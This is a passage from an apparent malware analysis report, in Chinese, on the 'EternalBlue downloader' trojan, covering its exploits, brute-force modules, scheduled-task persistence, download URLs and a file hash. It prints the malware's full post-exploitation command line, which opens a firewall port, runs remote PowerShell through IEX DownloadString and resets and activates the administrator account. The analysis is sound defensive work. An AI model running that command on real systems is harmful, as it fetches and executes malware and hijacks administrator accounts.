重新使用Python打包EXE攻击模块20.dat(C:\Windows\Temp\<random>.exe),负责永恒之蓝漏洞攻击、$IPC、SMB、mssql爆破攻击,其他攻击方式仍然通过Powershell实现。
二、样本分析
永恒之蓝下载器木马在Powershell攻击代码中,将扫描445端口进行攻击的$IPC爆破和永恒之蓝漏洞利用攻击功能进行了屏蔽。但以下功能仍然保留:
1.“永恒之蓝”漏洞利用MS17-010
2.Lnk漏洞利用CVE-2017-8464
3.Office漏洞利用CVE-2017-8570
4.RDP爆破
5.感染可移动盘、网络磁盘
6.钓鱼邮件(使用新冠病毒疫情相关主题)
7.SMBGhost漏洞利用CVE-2020-0796
8.SSH爆破攻击Linux系统
9.Redis未授权访问漏洞攻击Linux系统
然后在攻击后执行的Payload中添加一行代码,负责下载和执行EXE攻击模块
http[:]//d.ackng.com/ode.bin。
Ode.bin是经过加密的Powershell代码,解密后的内容主要完成以下功能:
生成4到8位字符组成的随机字符串作为文件名<random>.exe;
从http[:]//167.71.87.85/20.dat下载文件保存至C:\Windows\Temp\<random>.exe;
如果符合权限则创建计划任务"\Microsoft\Windows\<random>.exe "每50分钟执行一次dat,如果不符合权限则创建C:\Windows\Temp\\tt.vbs,通过VBS脚本代码创建计划任务“<random>.exe ",同样每50分钟执行一次20.dat。
通过计划任务执行的20.dat(拷贝至C:\Windows\Temp\<random>.exe md5: ef3a4697773f84850fe1a086db8edfe0)实际上是由Python代码打包的扫描攻击模块,与永恒之蓝下载器病毒2018年底第一次出现时的攻击模块C:\WINDOWS\Temp\svvhost.exe相似(参考https://www.freebuf.com/news/192015.html)。
该病毒在后来的逐步发展过程中,逐步将攻击代码转移到了Powershell实现,并且利用计划任务来动态获取和启动,不会在磁盘上留下文件,也就是“无文件攻击”模式攻击。而此次病毒重新启动exe攻击模块,可能是因为其功能不断扩展,需要将一部分代码进行分割,切割后的攻击模块及功能如下图所示。
If.bin中的Powershell攻击代码与上个版本相同,此处不再分析,分割出的xxx.exe中解码出Python实现的永恒之蓝漏洞攻击代码如下,另外还会执行$IPC、SMB、mssql弱口令爆破攻击:
攻击成功后执行shellcode
下载和执行Powershell代码jsp;
修改administrator账户登陆密码为k8d3j9SjfS7并激活administrator账户;
添加防火墙规则允许65529端口访问并开启监听。
cmd.exe /c netsh.exe firewall add portopening tcp 65529 DNS&netsh interface portproxy add v4tov4 listenport=65529 connectaddress=1.1.1.1 connectport=53&powershell IEX(New-Object Net.WebClient).DownloadString('http[:]//t.amynx.com/gim.jsp')&net user administrator k8d3j9SjfS7&net user administrator /active:yes
gim.jsp是经过加密的Powershell代码,首先检测系统是否安装了以下杀软,如有调用卸载程序进行卸载:
Eset、Kaspersky、avast、avp、Security、AntiVirus、Norton Security、Anti-Malware